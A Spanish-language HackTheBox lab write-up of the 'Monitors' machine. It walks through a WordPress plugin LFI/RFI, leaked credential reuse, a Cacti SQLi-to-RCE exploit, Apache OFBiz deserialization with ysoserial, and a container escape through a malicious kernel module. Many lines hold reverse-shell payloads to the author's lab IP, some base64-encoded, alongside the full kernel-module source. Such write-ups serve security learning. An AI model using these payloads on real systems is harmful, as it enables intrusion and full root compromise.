HackTheBox - Monitors

Lanz
Funk Lanz el
HackTheBox - Monitors

Máquina Linux nivel difícil. Tendremos muuuuchos CVEs, jugaremos con inclusión remota/local de archivos en un plugin de WordPress (wp-with-spritz), reutilización de contraseñas, ejecución remota de comandos en un Cactus (?), movimientos sensuales con deserializaciones inseguras en Apache OFBiz y saldremos 🏃‍♂️ (corriendo) de un contenedor con ayuda de una capability (cap_sys_module), crearemos un módulo en el kernel para ejecutar comandos remotamente desde el host (:

341monitorsHTB

TL;DR (Spanish writeup)

Creada por: TheCyberGeek.

Vamos a juntarnos con las realezas…

Empezaremos enumerando un servidor web ejecutado sobre Apache que esta sirviendo el CMS WordPress, profundizando un poquito encontraremos que esta ejecutando un plugin (wp-with-spritz), buscando en la web veremos que hay una versión vulnerable a inclusión de archivos tanto remota (RFI) como local (LFI), jugando con ella veremos que nuestra versión del plugin es vulnerable.

Esto nos permitirá enumerar muuuuchos archivos, pero principalmente encontraremos el archivo de configuración de base de datos en WordPress (wp-config.php) (que contiene credenciales de un user para la DB) yyyy los archivos de configuración de Apache, entre ellos el que contiene la conf por default de Virtual Host, 000-default.conf. En su contenido encontraremos la info que encontramos al iniciar el servidor web, peeeero además tendremos un nuevo dominio.

Jugando con ese dominio encontraremos una nueva app, Cacti en su versión 1.2.12, enumerando encontraremos una vulnerabilidad que nos permite ejecutar comandos remotamente, pero tendremos que estar autenticados para eso. Jugando con las credenciales encontradas anteriormente lograremos acceder y finalmente conseguir RCE, obtendremos una Reverse Shell como el usuario www-data.

Tendremos al usuario marcus, en su directorio habrá una carpeta llamada .backup, pero no tendremos posibilidad de listar si hay o no contenido en ella. En el sistema encontraremos un archivo de servicio (.service) que llama un script, en el script veremos que efectúa un backup de los archivos usados por Cacti, pero para generarlo hace una autenticación, y las credenciales con la que lo hace estarán en el script, con esa contraseña lograremos obtener una sesión como el usuario marcus.

Estando como él, veremos que hay un contenedor activo en el puerto 8443, tendremos que jugar con port-forwarding para que nos replique ese puerto en nuestro puerto 8443, veremos que es un servidor web Apache Tomcat, fuzzeando su contenido tendremos algunos recursos a la mano, al dirigirnos a alguno nos redirecciona a un login panel de un servicio llamado Apache OFBiz en su versión 17.12.1. Buscando en internet, caeremos en dos CVEs para esa versión, las dos hacen referencia a una deserialización insegura que puede terminar en ejecución remota de comandos, jugaremos con los 2 (será muuuuy importante "fallar" con el primero para lograr ejecutar correctamente el otro CVE), pero el segundo (CVE-2021-30128) será el que nos permitirá obtener una Reverse Shell en el contenedor como root.

Dándole vueltas al contenedor, nos encontraremos con una capability bastante interesante (cap_sys_module) que nos permitirá cargar un módulo en el kernel del host que generara RCE. Con esto obtendremos una Reverse Shell como el usuario root pero en este caso del sistema host (:

Clasificación de la máquina según la gentesita

Bastantes vulnerabilidades conocidas, así mismo llevada a la realidad.

Escribo para tener mis “notas”, por si algun dia se me olvida todo, leer esto y reencontrarme (o talvez no) :) además de enfocarme en plasmar mis errores y exitos (por si ves mucho texto), todo desde una perspectiva más de enseñanza que de solo mostrar lo que hice.

Compartimento.

  1. Reconocimiento.
  2. Enumeración.
  3. Explotación.
  4. Movimiento lateral: Vamos de www-data -> marcus.
  5. Movimiento lateral: Vamos de marcus -> contenedor.
  6. Vamos del container al host (cap_sys_module).

Reconocimiento #

Enumeración de puertos con nmap 📌

Como siempre, empezaremos buscando que puertos están abiertos en la máquina, lo haremos con ayuda de nmap:

❱ nmap -p- --open -v 10.10.10.238 -oG initScan
Parámetro Descripción
-p- Escanea todos los 65535
–open Solo los puertos que están abiertos
-v Permite ver en consola lo que va encontrando
-oG Guarda el output en un archivo con formato grepeable para usar una función extractPorts de S4vitar que me extrae los puertos en la clipboard

Nos devuelve:

❱ cat initScan
# Nmap 7.80 scan initiated Tue Jul  6 25:25:25 2021 as: nmap -p- --open -v -oG initScan 10.10.10.238
# Ports scanned: TCP(65535;1-65535) UDP(0;) SCTP(0;) PROTOCOLS(0;)
Host: 10.10.10.238 () Status: Up
Host: 10.10.10.238 () Ports: 22/open/tcp//ssh///, 80/open/tcp//http///
# Nmap done at Tue Jul  6 25:25:25 2021 -- 1 IP address (1 host up) scanned in 97.23 seconds
Puerto Descripción
22 SSH: Nos da la posibilidad de obtener una Shell de manera segura.
80 HTTP: Nos brinda un servidor web.

Ya conociendo los puertos abiertos, haremos otro escaneo, pero esta vez buscaremos que versiones y scripts están relacionados con cada puerto:

~(Usando la función extractPorts (referenciada antes) podemos copiar rápidamente los puertos en la clipboard, así no tenemos que ir uno a uno

❱ extractPorts initScan 
[*] Extracting information...

    [*] IP Address: 10.10.10.238
    [*] Open ports: 22,80

[*] Ports copied to clipboard

)~

❱ nmap -p 22,80 -sC -sV 10.10.10.238 -oN portScan
Parámetro Descripción
-p Escaneo de los puertos obtenidos
-sC Muestra todos los scripts relacionados con el servicio
-sV Nos permite ver la versión del servicio
-oN Guarda el output en un archivo

Y este escaneo nos devuelve:

❱ cat portScan
# Nmap 7.80 scan initiated Tue Jul  6 25:25:25 2021 as: nmap -p 22,80 -sC -sV -oN portScan 10.10.10.238
Nmap scan report for 10.10.10.238
Host is up (0.11s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 ba:cc:cd:81:fc:91:55:f3:f6:a9:1f:4e:e8:be:e5:2e (RSA)
|   256 69:43:37:6a:18:09:f5:e7:7a:67:b8:18:11:ea:d7:65 (ECDSA)
|_  256 5d:5e:3f:67:ef:7d:76:23:15:11:4b:53:f8:41:3a:94 (ED25519)
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Site doesn't have a title (text/html; charset=iso-8859-1).
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Tue Jul  6 25:25:25 2021 -- 1 IP address (1 host up) scanned in 11.40 seconds

Destacamos:

Puerto Servicio Versión
22 SSH OpenSSH 7.6p1 Ubuntu 4ubuntu0.3
80 HTTP Apache httpd 2.4.29

Por ahora no obtenemos más info, así que profundicemos y veamos por donde romper la máquina (:

Enumeración #

Recorremos el puerto 80 📌

Nos regala 2 datos:

  1. Al parecer debemos agregar el dominio monitors.htb al /etc/hosts, ya que no permite acceder directamente con la IP.
  2. Un correo: admin@monitors.htb del cual podemos extraer:
    • Un usuario llamado admin.
    • El dominio monitors.htb.

Así que agreguemos el dominio al archivo /etc/hosts:

❱ cat /etc/hosts
...
10.10.10.238  monitors.htb
...

Y ahora veamos si cambia algo al dirigirnos al dominio en vez de la IP:

341page80_done

Listones, un sitio para monitorear hardware “seriamente” e.e

Jugando con whatweb (o con la extensión Wappalyzer) vemos la versión del software que sostiene la web:

❱ whatweb http://monitors.htb
http://monitors.htb [200 OK] Apache[2.4.29], Country[RESERVED][ZZ], HTML5, HTTPServer[Ubuntu Linux][Apache/2.4.29 (Ubuntu)], IP[10.10.10.238], JQuery, MetaGenerator[WordPress 5.5.1], Script[text/javascript], Title[Welcome to Monitor – Taking hardware monitoring seriously], UncommonHeaders[link], WordPress[5.5.1]     

Explotación #

WordPress plugin vulnerable a LFI y RFI 📌

Vemos varias tecnologías, dándole vueltas a todas, caemos en Wordpress 5.5.1, si buscamos vulnerabilidades contra ella no encontramos nada relevante, peeeero si vemos el código fuente de la web encontramos algo llamativo:

341page80_sourceCode

La web hace uso de un plugin llamado wp-with-spritz, si lo buscamos en internet el primer resultado es este:

Una vulnerabilidad que explota una inclusión remota de archivos (RFI), que nos permite enlazar objetos (archivos) de otros servidores dentro del servidor vulnerable…

📁 file_get_contents(): This is going to just display the text within the file by reading the contents as a string, and will not interpret PHP code for execution. If the LFI is using this method, you can only enumerate files on the filesystem. Exploiting PHP Based LFI

Vemos la función vulnerable y como se puede explotar, pues validemos si tenemos la versión del plugin vulnerable:

❱ curl -i http://monitors.htb/wp-content/plugins/wp-with-spritz/wp.spritz.content.filter.php
HTTP/1.1 200 OK
Date: Tue, 06 Jul 2021 19:21:52 GMT
Server: Apache/2.4.29 (Ubuntu)
Content-Length: 0
Content-Type: text/html; charset=UTF-8

Pues el archivo existe, veamos la explotación:

http://monitors.htb/wp-content/plugins/wp-with-spritz/wp.spritz.content.filter.php?url=/etc/passwd

Perfecto, tenemos un LFI (inclusión de archivos locales), por lo que podemos ver objetos del sistema.

Además vemos un usuario llamado marcus, guardemoslo por si algo.

El RFI también nos da éxito, para validarlo simplemente debemos levantar un servidor web:

❱ python3 -m http.server

Y ejecutar mediante el plugin:

❱ curl http://monitors.htb/wp-content/plugins/wp-with-spritz/wp.spritz.content.filter.php?url=http://10.10.14.146:8000/hola

En nuestro servidor recibimos la petición hacia el archivo hola (: Así que contamos con un LFI y un RFI.

Teniendo en mente que estamos sobre un sitio mantenido por WordPress, podemos buscar que archivos maneja el CMS y así usar el LFI para ver su contenido:

Hay varios, pero debemos centrarnos en encontrar el archivo wp-config.php que por lo general contiene las credenciales de la base de datos y nos podrían servir para hacer reutilización de contraseñas o descubrir nuevos usuarios…

Jugando con el LFI moviéndonos entre carpetas, logramos encontrarlo:

❱ curl -s ...wp.spritz.content.filter.php?url=../../../../wp-config.php
❱ curl -s ...wp.spritz.content.filter.php?url=../../../wp-config.php

341bash_LFI_wpconfigPHP

Perfecto, vemos el usuario de la DB y su contraseña (:

Tomándolas y validándolas contra SSH no logramos nada ni con marcus ni con root.

Como sabemos, estamos usando WordPress, pues validando las credenciales contra el login en http://monitors.htb/wp-login.php tampoco logramos acceder.

  • Además corroboramos que el único usuario que existe es admin, ni marcus ni wpadmin son válidos.

    Se corrobora ya que si intentamos con credenciales que no deberían existir, la web nos devuelve Unknown username, pero si probamos con el usuario admin y cualquier contraseña, nos devuelve: Error: the password you entered for the username admin is incorrect.

(Probando a cambiar el año de la pw tampoco obtenemos acceso a nada) ☹️

Rebuscando con el LFI en archivos de Apache2 📌

Jugando a encontrar archivos que pudieran contener algo valioso, caí en cuenta que el sitio esta corriendo sobre Apache, podríamos (con ayuda de varios recursos) intentar leer las configuraciones que tenga el sitio:

Probando y leyendo con los que nos daban respuesta, llegamos al archivo que contiene los virtual hosts por defecto de apache2:

/etc/apache2/sites-available/000-default.conf

Si listamos su contenido, recibimos una sorpresa:

341bash_LFI_apache2_000defaultCONF

Hay dos comentarios que hacen referencia a “añadir la configuración del virtual host” sobre dos dominios (además vemos el mensaje que obtuvimos al ingresar por IP y no por dominio):

  • monitors.htb.
  • cacti-admin.monitors.htb.

Pues podemos probar a agregar ese nuevo dominio al archivo /etc/hosts y validar si nos da respuesta…

Podemos comprobar la existencia de cada configuracion simplemente pasandole los archivos al LFI:

❱ curl -s ...wp.spritz.content.filter.php?url=/etc/apache2/sites-available/monitors.htb.conf
❱ curl -s ...wp.spritz.content.filter.php?url=/etc/apache2/sites-available/cacti-admin.monitors.htb.conf

Asi encontrariamos la raiz de archivos tanto de WordPress (/var/www/wordpress) como del nuevo recurso (/usr/share/cacti).

❱ cat /etc/hosts
...
10.10.10.238  monitors.htb cacti-admin.monitors.htb
...

Y validandooooooo:

341page80cacti_login

Perfectísimo, encontramos otro servicio aparentemente llamado Cacti (que sirve para generar gráficas en la red) con una versión 1.2.12, pues a darlee machete!

Jugando con el servicio web Cacti 📌

Encontramos un login panel, probando las credenciales que tenemos logramos pasar la autenticación usando:

admin:BestAdministrator@2020!

341page80cacti_dashboard

Estando dentro volvemos a ver la versión, así que en una búsqueda rápida con ella encontramos a algo interesante:

Es un exploit (CVE-2020-14295) que se aprovecha de una inyección SQL para obtener ejecución remota de comandos gracias a la concatenación de consultas y el cambio de configuración dentro de la base de datos:

...update+settings+set+value='touch+/tmp/sqli_from_rce;'+where+name='path_php_binary';--+-

Pues tomando el exploit:

Y viendo su contenido nos muestra que obtendremos una Reverse Shell, así que nos ponemos en escucha (nc -lvp 4433) y ejecutamos el script:

❱ python3 cactiSQLIrce.py -t http://cacti-admin.monitors.htb -u admin -p 'BestAdministrator@2020!' --lhost 10.10.14.146 --lport 4433

VAMOOO, estamos dentro del sistema como el usuario www-data (:

Hacemos tratamiento de la TTY y seguimos.

$ script /dev/null -c bash
www-data@monitors:/usr/share/cacti/cacti$ [CTRL + Z]
❱ stty raw -echo; fg
reset
xterm
www-data@monitors:/usr/share/cacti/cacti$ export TERM=xterm
www-data@monitors:/usr/share/cacti/cacti$ export SHELL=bash
# Abre una terminal y ejecuta stty -a, ahí obtienes estos valores:
www-data@monitors:/usr/share/cacti/cacti$ stty rows 43 columns 192 

Vamos de www-data -> marcus #

Buscando y buscando no llegamos a nada, intentando subir pspy para ver procesos internos o linpeas.sh para enumerar a profundidad, el sistema no nos deja, básicamente porque ni curl ni wget están instalados yyy nc me da errores al intentar subir los archivos por ahí…

Así que caí en este thread para subir archivos sin usar ningún de las tools anteriores, todo simplemente usando redirecciones y /dev/tcp:

Copiamos la función:

function __curl() {
  read proto server path <<<$(echo ${1//// })
  DOC=/${path// //}
  HOST=${server//:*}
  PORT=${server//*:}
  [[ x"${HOST}" == x"${PORT}" ]] && PORT=80

  exec 3<>/dev/tcp/${HOST}/$PORT
  echo -en "GET ${DOC} HTTP/1.0\r\nHost: ${HOST}\r\n\r\n" >&3
  (while read line; do
   [[ "$line" == $'\r' ]] && break
  done && cat) <&3
  exec 3>&-
}

La pegamos en la terminal y ya podríamos hacer peticiones llamando a la función __curl desde la línea de comandos, lindo lindo:

www-data@monitors:/tmp$ __curl http://10.10.14.146:8000/linpeas.sh > lin.sh    
www-data@monitors:/tmp$ __curl http://10.10.14.146:8000/pspy > pspy    

Pero con ninguna de las dos herramientas vemos algo útil :(

Encontramos contraseña de marcus 📌

Volviendo a enumerar cada servicio, sus archivos y contenido no hay nada llamativo a la vista (algunos tienen mucho código), en este punto empece a jugar con find de nuevo, pero ahora buscando archivos escondidos, archivos que empezaran o terminaran con marcus, con WordPress y con cacti, con esta última búsqueda encontramos algo interesante:

www-data@monitors:/tmp$ find / -name "cacti*" 2>/dev/null
/etc/apache2/sites-available/cacti-admin.monitors.htb.conf
/etc/apache2/sites-enabled/cacti-admin.monitors.htb.conf
/etc/systemd/system/cacti-backup.service
/lib/systemd/system/cacti-backup.service
/var/log/cacti-access.log
/var/log/cacti-error.log
/var/lib/apache2/site/enabled_by_admin/cacti-admin.monitor.htb
/var/lib/apache2/site/enabled_by_admin/cacti-admin.monitors.htb
/usr/share/cacti
/usr/share/cacti/cacti
...
# Todos los archivos del sitio web cacti

Viendo cada contenido, caemos en estos archivos de servicio:

/etc/systemd/system/cacti-backup.service
/lib/systemd/system/cacti-backup.service

Y observando el contenido del primero obtenemos:

www-data@monitors:/tmp$ cat /etc/systemd/system/cacti-backup.service
[Unit]
Description=Cacti Backup Service
After=network.target

[Service]
Type=oneshot
User=www-data
ExecStart=/home/marcus/.backup/backup.sh

[Install]
WantedBy=multi-user.target

Es un servicio que ejecuta un backup del servidor web. Dentro llama al script que hace el backup, veamos si tenemos acceso a él:

www-data@monitors:/tmp$ ls -la /home/marcus/.backup/backup.sh
-r-xr-x--- 1 www-data www-data 259 Nov 10  2020 /home/marcus/.backup/backup.sh

Somos propietarios del script, pues veamos su contenido:

www-data@monitors:/tmp$ cat /home/marcus/.backup/backup.sh
#!/bin/bash

backup_name="cacti_backup"
config_pass="VerticalEdge2020"

zip /tmp/${backup_name}.zip /usr/share/cacti/cacti/*
sshpass -p "${config_pass}" scp /tmp/${backup_name} 192.168.1.14:/opt/backup_collection/${backup_name}.zip
rm /tmp/${backup_name}.zip

Esta haciendo una transferencia de archivos, pero lo interesante esta en que la efectúa con credenciales, y en el propio script tenemos una contraseña:

...
config_pass="VerticalEdge2020"
...

Pues probando con ella ante el usuario marcus logramos obtener una sesión como él:

Tamos dentro, medio feo, pero tamos.

Podemos migrarnos a una sesion SSH con las mismas credenciales (:

Vamos de marcus al contenedor #

En el directorio /home de marcus hay una nota:

marcus@monitors:/tmp$ cat /home/marcus/note.txt 
TODO:

Disable phpinfo in php.ini  - DONE
Update docker image for production use  -    

Al admin le falto actualizar la imagen de docker para usarla en producción…

Jmmm, veamos si el servicio docker esta activo:

marcus@monitors:/tmp$ systemctl status docker
● docker.service - Docker Application Container Engine
   Loaded: loaded (/lib/systemd/system/docker.service; enabled; vendor preset: enabled)
   Active: active (running) since Wed 2021-07-07 05:49:31 UTC; 18h ago
     Docs: https://docs.docker.com
 Main PID: 1586 (dockerd)
    Tasks: 17
   CGroup: /system.slice/docker.service
           ├─1586 /usr/bin/dockerd -H fd:// --containerd=/run/containerd/containerd.sock
           └─2033 /usr/bin/docker-proxy -proto tcp -host-ip 127.0.0.1 -host-port 8443 -container-ip 172.17.0.2 -container-port 8443

Warning: Journal has been rotated since unit was started. Log output is incomplete or unavailable.

Bien, esta activo y corriendo un contenedor con la IP 172.17.0.2 y el puerto 8443, intentemos ver si nos responde una petición web:

marcus@monitors:/tmp$ __curl http://172.17.0.2:8443
Bad Request
This combination of host and port requires TLS.
marcus@monitors:/tmp$ __curl https://172.17.0.2:8443
Bad Request
This combination of host and port requires TLS.

F, no tenemos acceso al contenido, ya que no podemos hacer peticiones SSL con la función __curl. Acá decidí descargar el binario curL a mi máquina para posteriormente subirlo a la máquina, pues después de eso, conseguimos tener curL (el verdadero) en la máquina victima (:

marcus@monitors:/tmp/test$ __curl http://10.10.14.146:8000/curl > curl
marcus@monitors:/tmp/test$ chmod +x curl
marcus@monitors:/tmp/test$ ./curl 
curl: try 'curl --help' for more information

Con él podemos saltarnos la comprobación que hace de SSL:

marcus@monitors:/tmp/test$ ./curl -k https://172.17.0.2:8443

341bash_marcusSH_curl_docker

Vemos que no encuentra nada al dirigirnos al recurso /, peeeero al final vemos la versión 9.0.31 de Apache Tomcat, perfecto.

Despues de ver algunas vulnerabilidades relacionadas a esa version no encontramos nada llamativo.

Port-Fortwarding contra el contenedor docker 📌

Lo siguiente que podemos probar es hacer un fuzzeo a ver si encontramos nuevos recursos fuera de la vista. Pero claro, estamos muuuuy restringidos al estar en la máquina víctima (básicamente porque no tiene las suficientes herramientas), así que hagamos un port-forwarding de ese puerto, así le indicamos que tome uno de nuestros puertos y lo replique como si fuera el puerto 8443 del servidor 172.17.0.2, démosle…

Intentando inicialmente con chisel nos devuelve que el sistema no tiene permitido hacer port-fortwarding, haciendo otro intento, pero ahora con SSH vemos que si nos deja (:

(Con -N le indicamos que no nos devuelva una terminal SSH y con -f le decimos que ejecute la tarea como secundaria, así no nos ocupa una terminal sin necesidad)

❱ ssh -N -f marcus@10.10.10.238 -L 8443:172.17.0.2:8443

Le indicamos que nos haga un local-port-fortwarding (porque estamos en la misma red que la máquina), lo que hará 172.17.0.2:8443 es tomar ese puerto y asignarlo a nuestro puerto 8443, nos pedirá la contraseña de marcus, la colocamos y validamos que se haya realizado el fortwarding:

❱ lsof -i:8443
COMMAND    PID USER   FD   TYPE  DEVICE SIZE/OFF NODE NAME
ssh     474407 root    4u  IPv6 2061111      0t0  TCP localhost:8443 (LISTEN)
ssh     474407 root    5u  IPv4 2061112      0t0  TCP localhost:8443 (LISTEN)

Para después terminar el fortwarding hacemos: kill <PID> y mata el proceso asociado a ese PID.

Bien, perfectísimo, pues validemos que estamos corriendo en el puerto 8443 del localhost:

341page8443localhost

Lo que ya habíamos visto, pues ahora si hagamos el fuzzeo:

❱ wfuzz -c --hc=404 -w /opt/SecLists/Discovery/Web-Content/common.txt https://localhost:8443/FUZZ
...
=====================================================================
ID           Response   Lines    Word       Chars       Payload      
=====================================================================

000000456:   302        0 L      0 W        0 Ch        "accounting"   
000000622:   302        0 L      0 W        0 Ch        "ap"
000000656:   302        0 L      0 W        0 Ch        "ar"
000000967:   302        0 L      0 W        0 Ch        "catalog"
000001141:   302        0 L      0 W        0 Ch        "common"
000001210:   302        0 L      0 W        0 Ch        "content"
000001548:   302        0 L      0 W        0 Ch        "ecommerce"
000001539:   302        0 L      0 W        0 Ch        "ebay"
000001673:   302        0 L      0 W        0 Ch        "example"
000002129:   302        0 L      0 W        0 Ch        "images"
000002569:   302        0 L      0 W        0 Ch        "marketing"
000002968:   302        0 L      0 W        0 Ch        "passport"
...

Vemos varias rutas, si intentamos direccionarnos hacia cualquiera, llegamos a esta página:

341page8443localhost_content

Opa, encontramos un servicio llamado Apache OFBiz (app para automatizar muchos procesos de empresariales), en su versión 17.12.01 (abajo a la derecha esta)…

Tenemos un login panel, probando con las credenciales que no tenemos no conseguimos acceder, así que busquemos vulnerabilidades contra esa versión de Apache OFBiz

Encontramos dos recientes y con alto grado de daño:

341google_cvedetails_ofbiz

Claramente la roja es más llamativa (e.e), pero en su momento en mi búsqueda caí primero en el segundo CVE, ese fue mi punto de partida.

🚀 Desde ya digo que el CVE CVE-2021-26295 no me funciono para esta máquina, peeeeero de él obtenemos algo esencial para usar con el CVE CVE-2021-30128.

CVE-2021-26295 - No del todo Fail 📌

Vamos a hacer este apartado cortico :P Mostrare un exploit que estuvo interesante y el CASI pero no RCE. Además tomaremos un ejemplo del propio creador del exploit para aplicarlo al otro CVE, esto para finalmente conseguir RCE.

El CVE nos habla de una vuln de las divertidas, una deserializacion insegura que nos puede resultar en ejecución remota de comandos sin necesidad de estar autenticados, en este caso afectando la clase java.rmi.server de Java.

Acá analizan 3 CVEs, entre ellos los 2 que tocaremos:

La serializacion se basa en convertir un objeto en un formato de datos especifico. Y la deserializacion es tomar esos datos serializados y convertirlos en un objeto.

Bien, navegando caí en este repo:

Podemos alistar el traductor para jugar con toooodo el chino que hay escrito (:

… Después de muuuuuuuuchas pruebas entendemos como funciona y que debemos hacer para probarlo correctamente…

El script genera un archivo malicioso serializado, toma su contenido y lo envía al apartado web vulnerable (https://localhost:8443/webtools/control/SOAPService), si todo va bien, la respuesta de la web debería ser una petición hacia un listener que debemos tener activo y ese listener nos permitirá indicar que comando queremos que ejecute el sistema para nosotros…

La descripción del exploit nos da los pasos necesarios a ejecutar:

1. Debemos ponernos en escucha mediante el listener JRMP Listener por algún puerto, en este caso el 9999 e indicarle que comando queremos que se ejecute una vez hayamos recibido la petición hecha por el script:

❱ java -cp ysoserial.jar ysoserial.exploit.JRMPListener 9999 CommonsBeanutils1 'bash -i >& /dev/tcp/10.10.14.146/4450'

Usamos ysoserial, que es una herramienta que explota vaaaarias vulns de deserializacion de objetos en Java.

2. Nos ponemos en escucha por el puerto 4450 (en mi caso):

❱ nc -lvp 4450

3. Finalmente lanzamos el exploit:

Recibimos la petición en el listener del ysoserial, pero no nos ejecuta comandos 🇫

Si revisamos el ejemplo del creador del script nos da otra forma de ejecutar comandos:

341google_repo_CVE2020_26295_commandWITHpipes

https://github.com/r0ckysec/CVE-2021-26295

Al parecer encodea en base64 el comando que quiere ejecutar (en su caso una reverse Shell) y lo envía al sistema en un formato (que no había visto antes, pero se entiende lo que hace) distinto al de siempre, pues intentemos hacer la ejecución de comandos de esa forma:

❱ echo "bash -i >& /dev/tcp/10.10.14.146/4450 0>&1" | base64
YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4xNDYvNDQ1MCAwPiYxCg==

Y lo que pasaríamos seria:

'bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4xNDYvNDQ1MCAwPiYxCg==}|{base64,-d}|{bash,-i}'

Pues:

341bash_CVE_2020_26295_base64_fail

Tampoco nos funciona (:

Acá fue cuando recordé el otro CVE, así que me fui a buscar info sobre él.

CVE-2021-30128 - Tamos dentro del container 📌

Hay poca info de este CVE y las descripciones no ayudan, en la mayoría de casos encontramos:

👎 Apache OFBiz has unsafe deserialization prior to 17.12.07 versión

Pues acá volvemos a encontrarnos con el análisis a los 3 CVEs, entre ellos el que vamos a usar ahora:

En ella nos explica la vuln:

Perfectooooo, pues buscando exploits relacionados caemos en 2:

El uso de los dos es muy sencillo, pasamos el objetivo y el comando que queremos ejecutar…

Probando con los dos script cosas como:

❱ python3 cve-2021-30128_exp.py https://localhost:8443 'bash -i >& /dev/tcp/10.10.14.146/4450 0>&1'
❱ python3 exp.py -u https://localhost:8443 -c 'bash -i >& /dev/tcp/10.10.14.146/4450 0>&1'

Incluso intentar jugar con nc o ping, pero nada, no conseguimos respuesta alguna…

Después de pensar mucho, (como una prueba de las que siempre hacemos) recordé lo usado en el script anterior, el tomar la cadena y pasarla a base64 para después juntarla al formato raro.

Pues 🕺🏾

❱ echo "bash -i >& /dev/tcp/10.10.14.146/4450 0>&1" | base64
YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4xNDYvNDQ1MCAwPiYxCg==

AAAAAAAAAAAAaAAAAAAaa


❱ python3 exp.py -u https://localhost:8443 -c 'bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4xNDYvNDQ1MCAwPiYxCg==}|{base64,-d}|{bash,-i}'

341bash_repo_liotree_30128_revsh

AAAAAAAAAaAAAaaAaaaaA


❱ python3 cve-2021-30128_exp.py https://localhost:8443 'bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4xNDYvNDQ1MCAwPiYxCg==}|{base64,-d}|{bash,-i}'

341bash_repo_r0ckysec_30128_revsh

¡TAMOS DENTRO DEL CONTAINEEEEEEEEEEEEEEEEEEEEER!!

¡Y CON CUALQUIERAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA!!

¡Y USANDO ALGO EXTRAÑOOOOOOOOOOOOOOOOOOO DEL ANTERIOR CVEEEEEE!!

Ahora sí, tomemos agua, estirémonos, pongamos la terminal bonita y a seguir (:

Escalada de privilegios #

Buscando en el contenedor había unos archivos medio sospechosos o con nombres interesantes, pero no lograba enfocar algún método de explotación, leyendo esta guía:

Tenemos varias opciones para probar contra un contenedor, esto con la idea de escapar de él y llegar al sistema host que lo sostiene…

En una de las pruebas, caemos acá:

En el que buscamos 5 capabilities en concreto, si el contenedor cuenta con al menos una de ellas, tenemos un vector para escapar de él.

🏃‍♀️ You should check the capabilities of the container, if it has any of the following ones, you might be able to scape from it: CAP_SYS_ADMIN, CAP_SYS_PTRACE, CAP_SYS_MODULE, DAC_READ_SEARCH, DAC_OVERRIDE.

Para listar las capabilities usamos:

root@9092a1174332:/$ capsh --print

341bash_dockerSH_capshPRINT

Opa, vemos una de las 5, cap_sys_module y esta activa :O pues sigamos la guía a ver como podemos explotar esta cap

😲 This means that you can insert/remove kernel modules in/from kernel of the host machine 😲

La explotación es gracias al comando modprobe que busca dependencias y archivos de mapeo en el directorio /lib/modules/$(uname -r), en nuestro caso:

root@9092a1174332:/$ echo "/lib/modules/$(uname -r)"
/lib/modules/4.15.0-142-generic

Entonces, para aprovecharnos de esto, necesitamos crear esa carpeta, compilar el módulo del kernel malicioso y finalmente ejecutar el módulo, démosle:

Todos estos pasos son tomados de la propia guia.

1. Creamos el módulo del kernel que ejecutara la reverse Shell:

❱ cat rsh.c 
#include <linux/kmod.h>
#include <linux/module.h>
MODULE_LICENSE("holis");
MODULE_AUTHOR("holiwis");
MODULE_DESCRIPTION("holanda");
MODULE_VERSION("1.0");

char* argv[] = {"/bin/bash","-c","bash -i >& /dev/tcp/10.10.14.146/4434 0>&1", NULL};
static char* envp[] = {"PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin", NULL };

// call_usermodehelper function is used to create user mode processes from kernel space
static int __init reverse_shell_init(void) {
    return call_usermodehelper(argv[0], argv, envp, UMH_WAIT_EXEC);
}

static void __exit reverse_shell_exit(void) {
    printk(KERN_INFO "Exiting\n");
}

module_init(reverse_shell_init);
module_exit(reverse_shell_exit);

Nos enviará la petición al puerto 4434 de nuestro sistema.

2. Creamos el archivo Makefile que será el encargado de compilar el módulo:

“The blank char before each make word in the Makefile must be a tab, not spaces!”

❱ cat Makefile
obj-m +=rsh.o

all:
        make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules

clean:
        make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean

El nombre del objeto es rsh.o, es importante para el último paso.

3. Compilamos el archivo Makefile con el comando make:

root@9092a1174332:/tmp/test$ ls -la
total 20
drwxr-xr-x 2 root root 4096 Jul  9 11:11 .
drwxrwxrwt 1 root root 4096 Jul  9 11:11 ..
-rw-r--r-- 1 root root  157 Jul  9 11:11 Makefile
-rw-r--r-- 1 root root  718 Jul  9 11:11 rsh.c
root@9092a1174332:/tmp/test$ make
make -C /lib/modules/4.15.0-142-generic/build M=/tmp/test modules
make[1]: Entering directory '/usr/src/linux-headers-4.15.0-142-generic'
  CC [M]  /tmp/test/rsh.o
  Building modules, stage 2.
  MODPOST 1 modules
  CC      /tmp/test/rsh.mod.o
  LD [M]  /tmp/test/rsh.ko
make[1]: Leaving directory '/usr/src/linux-headers-4.15.0-142-generic'

Listones, ya estaría creado en el directorio /lib/modules....

4. Nos ponemos en escucha por el puerto 4434:

❱ nc -lvp 4434

5. Ejecutamos el módulo:

root@9092a1174332:/tmp/test$ insmod rsh.ko

Yyyyy…

Perfectísimoooooooooooooooooo, estamos dentro del host como el usuario root (: veamos las flags…

341flags

YYYYY fin.

Linda máquina, me encanto que fue full vulnerabilidades reales, muchos CVE (bueno lo de la contraseña de marcus fue un poco keloke)

Muy divertida, linda linda.

Hemos terminado por hoy, nos leeremos después y lo que no puede faltar. A SEGUIR ROMPIENDO TODOOOOOOOOOOO!!

Comments

comments powered by Disqus